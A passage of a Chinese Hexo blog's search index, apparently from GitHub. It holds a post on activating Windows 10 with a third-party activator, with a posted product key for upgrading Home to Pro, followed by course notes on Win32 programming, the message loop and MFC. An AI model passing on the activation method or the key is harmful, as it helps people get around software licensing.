-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
462 lines (221 loc) · 584 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Win10版本激活&Win10家庭版升级专业版</title>
<link href="/2020/08/27/win10-jia-ting-ban-ji-huo-win10-jia-ting-ban-sheng-ji-zhuan-ye-ban/"/>
<url>/2020/08/27/win10-jia-ting-ban-ji-huo-win10-jia-ting-ban-sheng-ji-zhuan-ye-ban/</url>
<content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><blockquote><p>Windows操作系统在中国的使用占比目前还是市场最高,作为专业的计算机从业者,有时候家庭版的Win10会不太方便,比如BitLocker驱动器加密,或者计算机虚拟化(这个在配置虚拟机的时候可能会用到。今天突然发现了一个比较不错的工具,然后就顺便完成了上述操作。</p></blockquote><p><img src="https://img-blog.csdnimg.cn/20200826231518330.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""></p><h2 id="软件"><a href="#软件" class="headerlink" title="软件"></a>软件</h2><p><a href="https://cmwtat.cloudmoe.com/cn.html" target="_blank" rel="noopener">云萌Windows10激活软件</a><br><img src="https://img-blog.csdnimg.cn/20200826231658440.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""></p><h2 id="激活-amp-升级"><a href="#激活-amp-升级" class="headerlink" title="激活&升级"></a>激活&升级</h2><p>激活操作比较容易实现,下载打开软件,会自动检测系统的版本,点击自动激活即可。<br><img src="https://img-blog.csdnimg.cn/20200826231903388.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""><br>可以在<code>控制面板-系统</code>中查看当前的版本状态<br><img src="https://img-blog.csdnimg.cn/20200826232130502.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""><br>升级操作需要更新Windows的产品密钥,产品密钥需要自行上网搜索(估计会很快失效:K4CRQ-NHW24-CXXCT-GTTPY-VQWXG)<br>在这个地方进行更改:<br><img src="https://img-blog.csdnimg.cn/20200826232504361.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""><br><img src="https://img-blog.csdnimg.cn/20200826232537962.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述"><br>之后就可以升级了,<strong>家庭版升级到专业版不会造成数据丢失或者系统不兼容,亲测!!!</strong><br><img src="https://img-blog.csdnimg.cn/20200826232707635.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""><br>已经升级到了专业版,之后再进行一次产品激活即可。</p><blockquote><p>以下是专业版的控制面板截图:<br><img src="https://img-blog.csdnimg.cn/20200826232846670.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt=""></p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> Windows </category>
</categories>
<tags>
<tag> 奇技淫巧 </tag>
</tags>
</entry>
<entry>
<title>Windows</title>
<link href="/2020/06/23/windows/"/>
<url>/2020/06/23/windows/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>简单介绍编程语言==(以上第一课内容)==</p><hr><h2 id="第一讲-Windows程序内部运行原理"><a href="#第一讲-Windows程序内部运行原理" class="headerlink" title="第一讲 Windows程序内部运行原理"></a>第一讲 Windows程序内部运行原理</h2><p>MSDN–>微软开发帮助文档</p><h3 id="1-Windows编程模型"><a href="#1-Windows编程模型" class="headerlink" title="1.Windows编程模型"></a>1.Windows编程模型</h3><ul><li><p>C、C++ –>面向过程的编程</p></li><li><p>面向对象的编程</p></li></ul><p>1.警觉式(主动轮询,自身判断,过程驱动)</p><p>2.宽心式</p><p>3.托付式(被动等待对象,取决于事件发生,事件驱动)</p><p>入口(WinMain) –> 生命诞生</p><p>窗口 –> 躯干、肉身</p><p><strong>消息循环 –> 心脏</strong></p><p>窗口过程(回调) –> 大脑(一个大的选择结构)</p><p>操作系统为程序建立消息队列–>存放与窗口有关的消息–>程序通过消息循环不断地从消息队列里取出消息并进行响应。</p><p>句柄(Handle) –>资源的标识</p><p>图标句柄(HICON)、光标句柄(HCURSOR)、窗口句柄(HWND)、应用程序实例句柄(HINSTANCE),操作系统给每个窗口指定唯一的一个标识号即窗口句柄。</p><p>用宏定义把消息标识号重新定义成WM_形式,方便辨识。</p><p>宏定义可以让变量具有语义信息。==(以上第二课内容)==</p><hr><h3 id="2-编写Windows应用程序的要素"><a href="#2-编写Windows应用程序的要素" class="headerlink" title="2.编写Windows应用程序的要素"></a>2.编写Windows应用程序的要素</h3><p><strong>1.入口WinMain</strong></p><pre class="line-numbers language-C"><code class="language-C">int WinAPI WinMain(HINSTANCE hInstance, //当前应用程序实例句柄HINSTANCE hPrevInstance, //前一个实例句柄,Win32下为NULLLPSTR lpCmdLine, //命令行参数,char型Int nCmdShow //窗口的显示状态(正常,隐藏,最小化等))<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>WinAPI</code>表示<code>WinMain</code>的调用方式.</p><p>WinMain的四个参数和调用方式都不能省略。</p><p><strong>2.创建窗口</strong></p><p>1) 设计图纸[怎么去设计] –> 窗口类</p><pre class="line-numbers language-C"><code class="language-C">typedef struct _WNDCLASS { UINT style; //窗口类样式 WNDPROC lpfnWndProc; //窗口过程指针 int cbClsExtra; //窗口类附加内存字节数,通常为0 int cbWndExtra; //窗口附加内存字节数,通常为0 HINSTANCE hInstance; //应用程序的实例句柄 HICON hIcon; //标题栏图标 HCURSOR hCursor; //光标 HBRUSH hbrBackground; //设置窗口背景颜色 LPCTSTR lpszMenuName; //菜单资源名称 LPCTSTR lpszClassName; //窗口类名称} WNDCLASS, *PWNDCLASS; <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>2) 审批注册[Windows操作系统批准]</p><pre class="line-numbers language-C"><code class="language-C">ATOM RegisterClass( CONST WNDCLASS *lpWndClass // class data );<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>3) 生产</p><pre class="line-numbers language-C"><code class="language-C">HWND CreateWindow( LPCTSTR lpClassName, //已注册的窗口类名称,操作系统提供了现成的图纸,也可以自己编写图纸 LPCTSTR lpWindowName, //窗口标题栏中显示的文本,自己设定 DWORD dwStyle, //窗口样式,个性化设定 int x, //水平坐标 int y, //垂直坐标 int nWidth, //宽度 int nHeight, //高度 HWND hWndParent, //父窗口句柄 HMENU hMenu, //菜单句柄 HANDLE hInstance, //应用程序实例句柄 PVOID lpParam //用于多文档的附加参数); <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>CreateWindow中 (0,0)默认在桌面的左上角</p><p><strong>菜单不是窗口!!!</strong></p><p>4) 发布</p><p>==(以上第三课内容)==</p><hr><p>Win32 Application和 Win32 console Application区别:</p><p>Win32:使用WinAPI</p><p>Console:不能使用GUI(图形)API</p><p>且二者入口不同</p><p>编写程序</p><pre class="line-numbers language-C"><code class="language-C">#include <windows.h>LRESULT CALLBACK MyWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam );int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ // 2. 创建窗口 // 2.1 设计一个窗口类 WNDCLASS MyWnd; MyWnd.cbClsExtra = NULL; MyWnd.cbWndExtra = NULL; MyWnd.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); MyWnd.hCursor = LoadCursor(NULL,IDC_CROSS); MyWnd.hIcon = LoadIcon(NULL,IDI_QUESTION); MyWnd.hInstance = hInstance; //应用程序实例句柄 MyWnd.lpfnWndProc = MyWndProc;//指向窗口过程的指针 MyWnd.lpszClassName = "Hello"; MyWnd.lpszMenuName = NULL; MyWnd.style = CS_HREDRAW | CS_VREDRAW; RegisterClass(&MyWnd); //注册图纸 HWND hWnd;//定义窗口句柄,但是还没创建窗口 hWnd = CreateWindow("Hello","Windows编程",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL); ShowWindow(hWnd,SW_SHOW); UpdateWindow(hWnd); return 0;}//4.窗口过程LRESULT CALLBACK MyWndProc( HWND hwnd, //来自哪一个窗口 UINT uMsg, //窗口名称 WPARAM wParam, //附加参数 LPARAM lParam //附加参数 ){ return DefWindowProc(hwnd,uMsg,wParam,lParam);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以上程序运行会闪退,缺少消息循环。</p><p><code>GetMessage</code>从线程的消息队列中取出消息,取出的消息保存在事先定义好的消息的结构体对象中。</p><p><strong><code>GetMessage</code>取到除WM_QUIT外的消息均返回非0,只有在接收到WM_QUIT消息时,才会返回0.</strong></p><p><code>GetMessage</code>从消息队列Get消息,返回值实际上有三种可能。</p><ul><li>返回0,Get到WM_QUIT消息</li><li>返回-1,异常.Get失败</li><li>返回非0,非-1(成功Get消息,且不是WM_QUIT消息)</li><li>当消息队列为空时,不返回!被挂起!</li></ul><p>功能:从消息队列中取出一条消息并删除它(WM_PAINT消息除外);</p><p><strong>回调(Callback)</strong></p><p>由你设计而却由操作系统调用的。</p><p>可以运行的程序代码如下:</p><pre class="line-numbers language-C"><code class="language-C">#include <windows.h>LRESULT CALLBACK MyWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam );int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ // 2. 创建窗口 // 2.1 设计一个窗口类 WNDCLASS MyWnd; MyWnd.cbClsExtra = NULL; MyWnd.cbWndExtra = NULL; MyWnd.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); MyWnd.hCursor = LoadCursor(NULL,IDC_CROSS); MyWnd.hIcon = LoadIcon(NULL,IDI_QUESTION); MyWnd.hInstance = hInstance; //应用程序实例句柄 MyWnd.lpfnWndProc = MyWndProc;//指向窗口过程的指针 MyWnd.lpszClassName = "Hello"; MyWnd.lpszMenuName = NULL; MyWnd.style = CS_HREDRAW | CS_VREDRAW; RegisterClass(&MyWnd); //注册图纸 HWND hWnd;//定义窗口句柄,但是还没创建窗口 hWnd = CreateWindow("Hello","Windows编程",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL); ShowWindow(hWnd,SW_SHOW); UpdateWindow(hWnd); //消息循环 MSG msg; while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); //消息解释,将虚拟消息转换为字符消息 DispatchMessage(&msg); //将消息发送到"窗口过程" } return 0;}//4.窗口过程LRESULT CALLBACK MyWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ){ return DefWindowProc(hwnd,uMsg,wParam,lParam);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>DefWindowProc(hwnd,uMsg,wParam,lParam)</code>位移不能接管的就是不能WM_QUIT消息。(==以上第四课内容==)</p><hr><p><strong>GetMessage</strong></p><pre class="line-numbers language-C"><code class="language-C">Bool GetMessage( LPMSG lpMsg, //消息结构体指针 HWND hWnd, //窗口句柄,通常设为NULL,表示接收所有窗口消息 UINT wMsgFilterMin, //消息过滤最小值 UINT wMsgFilterMax //消息过滤最大值);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-C"><code class="language-C"> switch(uMsg) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hwnd,uMsg,wParam,lParam); }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>总结:</p><ul><li>用户自己不响应的消息要交给操作系统调用DefWindowProc窗口过程!</li><li>窗口过程中一定要出现PostQuitMessage(),只有调用这个,消息队列才会出现QUIT消息,程序才能正常退出</li></ul><p><strong>消息是怎么产生的?</strong></p><ol><li>交互产生,比如鼠标、键盘</li><li>由API产生</li></ol><p>CreateWindow –>WM_CREATE</p><p>UpdateWindow –> WM_PAINT</p><p>DestroyWindow –> WM_DESTROY</p><p> 交互产生: </p><blockquote><p>点击”文件”-“退出”–>消息队列产生WM_CLOSE消息–>DefWindowProc响应WM_CLOSE消息–>调用DestroyWindow–>产生WM_DESTROY消息–>自己的WinProc响应–>调用PostQuitMessage–>产生WM_QUIT消息–>GetMessage返回0–>消息循环结束</p></blockquote><p><strong>DefWindowProc</strong></p><blockquote><p>DefWindowProc这个是默认的窗口处理,我们可以把不关心的消息都丢给它来处理。</p></blockquote><p>在switch里面继续增添case框架:</p><pre class="line-numbers language-C"><code class="language-C">switch(uMsg) { case WM_DESTROY: PostQuitMessage(0); break; case WM_CLOSE: if(IDYES == MessageBox(hwnd,"真的要退出吗?","退出",MB_YESNO)) DestroyWindow(hwnd); break; case WM_CHAR: char str[255]; sprintf(str,"char is %d",wParam); MessageBox(hwnd,str,"按键响应",0); break; case WM_LBUTTONDOWN: HDC hDC;//句柄资源 hDC = GetDC(hwnd); TextOut(hDC,255,100,"Hello World!",strlen("Hello world!")); ReleaseDC(hwnd,hDC);//防止内存泄露 break; default: return DefWindowProc(hwnd,uMsg,wParam,lParam); }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以上代码可以产生一个窗口,点击出现”Hello world!”字样,但是拉伸窗口尺寸,文字就会消失。</p><blockquote><p>窗口变为无效的时候–>消息队列产生WM_PAINT消息–>窗口重绘–>文字消失</p></blockquote><p><strong>窗口什么时候变成无效?</strong></p><ol><li>最初建立窗口的时候(CreateWindow时)</li><li>改变窗口尺寸的时候(在注册窗口类的时候自己定义的)</li><li>最小化–>恢复</li><li>移动出屏幕或者被其它窗口覆盖的时候</li><li>使用滚动条的时候</li><li>Invalidate(调用,人为使窗口变成无效)</li></ol><p>自己来响应WM_PAINT消息:</p><pre class="line-numbers language-C"><code class="language-C"> case WM_PAINT: HDC hpaintDC; PAINTSTRUCT ps; hpaintDC=BeginPaint(hwnd,&ps); TextOut(hpaintDC,255,50,"Hello World!",strlen("Hello World!")); EndPaint(hwnd,&ps); break;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>(==以上第五课内容==)</p><hr><h3 id="3-自行发送消息的两种方式"><a href="#3-自行发送消息的两种方式" class="headerlink" title="3.自行发送消息的两种方式"></a>3.自行发送消息的两种方式</h3><p>大多数消息是由操作系统产生和发送,此外我们也可以人为调用<code>SendMessage</code>和<code>PostMessage</code>来自行发送消息。</p><ul><li><code>SendMessage</code>将消息直接发送给窗口,并调用该窗口过程进行处理。在窗口过程对消息处理完毕之后,该才返回。</li><li><code>PostMessage</code>将消息放入与创建窗口的线程相关联的消息队列后立即返回。</li></ul><pre class="line-numbers language-C"><code class="language-C">case WM_RBUTTONDOWN:SendMessage(hwnd,WM_SETTEXT,0,(LPARAM)"WZY!!"); //鼠标右键点击改变任务栏名称 SendMessage(FindWindow("Notepad",NULL),WM_SETTEXT,0,(LPARAM)"WZY!!");//SendMessage(FindWindow("计算器",NULL),WM_SETTEXT,0,(LPARAM)"WZY!!");break;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>可以用<code>Spy++</code>程序来查找软件对应的窗口名称。</p><p><strong>DefWindowProc怎么对WM_PAINT消息进行响应?</strong></p><pre><code>(1)BeginPaint(4个功能):1.获得一个设备描述表(Get DC)2.重绘背景3.窗口状态由无效重新变为有效(有效状态下PAINT消息不再产生)4.删除消息队列中已有的WM_PAINT消息(2)EndPaint(3)Release DC自己响应WM_PAINT消息,一定要配合BeginPaint来使用,不能使用Get DC</code></pre><p><strong>队列化消息</strong></p><blockquote><p>进入消息队列–>GetMessage获得</p><p>一般是由用户交互操作产生的消息、定时器WM_TIMER、WM_QUIT</p><p>用户可以使用PostMessage或SendMessage发送消息</p></blockquote><p><strong>非队列化消息</strong></p><blockquote><p>进入窗口过程,不进消息队列</p><p>一般是由WindowsAPI产生,但其中WM_PAINT有时也可以被当作是队列化消息。但WM_SETTEXT一定是非队列化消息。</p><p>用户只能用SendMessage发送消息</p></blockquote><p>第一讲的最后设计程序代码如下</p><pre class="line-numbers language-C"><code class="language-C">#include <windows.h>#include <stdio.h>LRESULT CALLBACK MyWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam );int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ // 2. 创建窗口 // 2.1 设计一个窗口类 WNDCLASS MyWnd; MyWnd.cbClsExtra = NULL; MyWnd.cbWndExtra = NULL; MyWnd.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); MyWnd.hCursor = LoadCursor(NULL,IDC_CROSS); MyWnd.hIcon = LoadIcon(NULL,IDI_QUESTION); MyWnd.hInstance = hInstance; //应用程序实例句柄 MyWnd.lpfnWndProc = MyWndProc;//指向窗口过程的指针 MyWnd.lpszClassName = "Hello"; MyWnd.lpszMenuName = NULL; MyWnd.style = CS_HREDRAW | CS_VREDRAW; RegisterClass(&MyWnd); //注册图纸 HWND hWnd;//定义窗口句柄,但是还没创建窗口 hWnd = CreateWindow("Hello","Windows编程",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL); ShowWindow(hWnd,SW_SHOW); UpdateWindow(hWnd); //消息循环 MSG msg; while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); //消息解释,将虚拟消息转换为字符消息 DispatchMessage(&msg); //将消息发送到"窗口过程" } return 0;}//4.窗口过程LRESULT CALLBACK MyWndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ){ switch(uMsg) { case WM_DESTROY: PostQuitMessage(0); break; case WM_CLOSE: if(IDYES == MessageBox(hwnd,"真的要退出吗?","退出",MB_YESNO)) DestroyWindow(hwnd); break; case WM_CHAR: char str[255]; sprintf(str,"char is %d",wParam); MessageBox(hwnd,str,"按键响应",0); break; case WM_LBUTTONDOWN: HDC hDC;//句柄资源 hDC = GetDC(hwnd); TextOut(hDC,255,100,"Hello World!",strlen("Hello World!")); ReleaseDC(hwnd,hDC);//防止内存泄露 break; case WM_PAINT: HDC hpaintDC; PAINTSTRUCT ps; hpaintDC=BeginPaint(hwnd,&ps); TextOut(hpaintDC,255,50,"Hello World!",strlen("Hello World!")); EndPaint(hwnd,&ps); break; case WM_RBUTTONDOWN: SendMessage(hwnd,WM_SETTEXT,0,(LPARAM)"WZY!!"); SendMessage(FindWindow("Notepad",NULL),WM_SETTEXT,0,(LPARAM)"WZY!!"); //SendMessage(FindWindow("计算器",NULL),WM_SETTEXT,0,(LPARAM)"WZY!!"); break; default: return DefWindowProc(hwnd,uMsg,wParam,lParam); } return 0;//DefWindowProc(hwnd,uMsg,wParam,lParam);}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里有一个需要注意的就是,我原来设计的程序,点击退出,有一个提示框,问是否确认退出,我选择否结果它也退出了,困惑了很长时间。</p><p><img src="1-1.gif" alt=""></p><p>今天发现是switch选择结构外的return出了点错.</p><p><img src="1-1.jpg" alt=""></p><p>我原来写的是<code>return DefWindowProc()</code>,那这应该就相当于还是DefWindowProc()响应了WM_CLOSE消息,而不是我们写的<code>case WM_CLOSE</code>部分。</p><p>修改代码之后,运行结果如下:</p><p><img src="1-2.gif" alt=""></p><p>(==以上第六课内容&&第一节结束==)</p><hr><hr><h2 id="第二讲-掌握C"><a href="#第二讲-掌握C" class="headerlink" title="第二讲 掌握C++"></a>第二讲 掌握C++</h2><h3 id="1-派生类的生与死问题"><a href="#1-派生类的生与死问题" class="headerlink" title="1.派生类的生与死问题"></a>1.派生类的生与死问题</h3><pre class="line-numbers language-C++"><code class="language-C++">#include <iostream.h>class father{public: father() { cout<<"father construct."<<endl; } ~father() { cout<<"father destruct."<<endl; }};class son: public father{public: son() { cout<<"son construct."<<endl; } ~son() { cout<<"son destruct."<<endl; }};void main(){ son s;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>顺序:父类创建–>子类创建–>子类析构–>父类析构</p></blockquote><h3 id="2-四种不同对象的生与死"><a href="#2-四种不同对象的生与死" class="headerlink" title="2.四种不同对象的生与死"></a>2.四种不同对象的生与死</h3><pre class="line-numbers language-C"><code class="language-C">//1.一般局部对象,在stack之中产生void MyFunc(){ CObject ob;//栈上产生的对象自动释放}//2.new局部对象,在heap中产生void MyFunc(){ CObject* pOb = new CObject;//堆上产生的对象需要用delete手动释放}//3.全局对象(静态对象)CObject ob //在任何范围之外做此操作//4.局部静态对象,在范围内的一个静态对象void MyFunc(){ static CObject ob;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>构造顺序:</p><p>全局对象–>Main–>一般局部对象–>new局部对象–>静态局部对象</p></blockquote><blockquote><p>析构顺序:</p><p>一般局部对象–>new局部对象–>静态局部对象–>全局对象</p></blockquote><h3 id="3-重载"><a href="#3-重载" class="headerlink" title="3.重载"></a>3.重载</h3><pre><code>重载条件:两个的名相同,的参数类型、参数个数不同,才能构成的重载。1.只有的返回类型不同是不能构成的重载的。如:void output() 与 int output()2.要注意带有默认参数的这种情况,也不能构成重载。如:void output(int a,int b=5)与void output(int a)</code></pre><h3 id="4-引用与指针的比较"><a href="#4-引用与指针的比较" class="headerlink" title="4.引用与指针的比较"></a>4.引用与指针的比较</h3><pre><code>引用是C++中的概念。int m;int &n = m;则n是对m的引用,注意:n既不是m的拷贝,也不是指向m的指针,n就是m自己。对比指针:int m;int *pM =&m;</code></pre><pre><code>不同点:1.引用被创建的同时必须被初始化;指针则可以在任何时候被初始化。2.不能有NULL引用,引用必须与合法的存储单元关联;指针则可以是NULL;3.一旦引用被初始化,就不能改变引用的关系;指针则可以随时改变所指的对象。引用其实可以看做是削减权限版的指针。</code></pre><p>(==以上第七课内容&第二讲结束==)</p><hr><hr><h2 id="第三讲-MFC框架程序"><a href="#第三讲-MFC框架程序" class="headerlink" title="第三讲 MFC框架程序"></a>第三讲 MFC框架程序</h2><h3 id="1-什么是MFC框架程序"><a href="#1-什么是MFC框架程序" class="headerlink" title="1.什么是MFC框架程序"></a>1.什么是MFC框架程序</h3><p>利用MFC AppWizard生成的Windows应用程序</p><p>1.新建MFC工程文件</p><p>CWinThread–>CWinApp–>ColeControlModule</p><p>CWind–>CFrameWnd</p><p>控件也是从窗口类派生出来的</p><p>==注意:==</p><p><strong>文档类不是窗口!!!</strong></p><p><strong>菜单也不是窗口!!!菜单属于文本资源!!</strong></p><p>在MFC工程中新建.cpp源文件,要记得添加头文件:<code>#include "stdafx.h"</code>,表示这是MFC的源文件。</p><p><code>Source Files/View.cpp</code>文件中找到 View::OnDraw(),用pDC->TextOut()来输出字符串。</p><p><img src="3-1.gif" alt=""></p><p>以Afx开头的,如<code>AfxWinMain</code>,都是WinMain下面的全局。</p><p>对于MFC框架程序,WinMain不一定是最先执行的。全局对象的构造最先执行。</p><p>MFC里面调用底层API,前面要加上作用域::,比如<code>::RegisterClass(lpWndClass)</code></p><p>==(以上第八课内容)==</p><hr><h3 id="2-MFC框架程序剖析"><a href="#2-MFC框架程序剖析" class="headerlink" 